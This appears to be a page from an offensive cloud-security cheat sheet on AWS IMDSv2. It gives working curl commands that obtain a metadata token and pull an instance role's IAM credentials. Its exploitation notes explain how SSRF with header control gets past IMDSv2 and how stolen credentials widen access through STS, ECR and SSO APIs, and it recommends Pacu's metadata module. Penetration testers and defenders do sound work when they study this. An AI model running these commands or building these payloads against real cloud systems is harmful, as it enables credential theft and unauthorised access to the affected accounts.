IMDSv2 requires a short-lived session token obtained with a PUT, then sent back in a header on each read. It is trivial from a shell on the instance, and still reachable from an SSRF when the request primitive can issue a PUT and set the token header.
The token flow#
TOKEN=$(curl -sX PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE
Exploitation notes#
- The
PUTplus custom-header requirement blocks the simplest SSRF primitives; a full request-smuggling or header-controllable SSRF still satisfies it. - Token TTL can be up to six hours, so one token covers a long session of reads.
- A hop-limit of 1 is common; an SSRF from a container on the host may fail the hop check while an on-host shell succeeds.
- Recovered role credentials then unlock the credential-returning APIs (
sts:AssumeRole,ecr:GetAuthorizationToken,sso:GetRoleCredentials, and the rest) to widen access; see credential brokers.
Tools#
- curl on the instance, or an SSRF primitive with method and header control.
- Pacu (
ec2__metadata): handles the token dance automatically.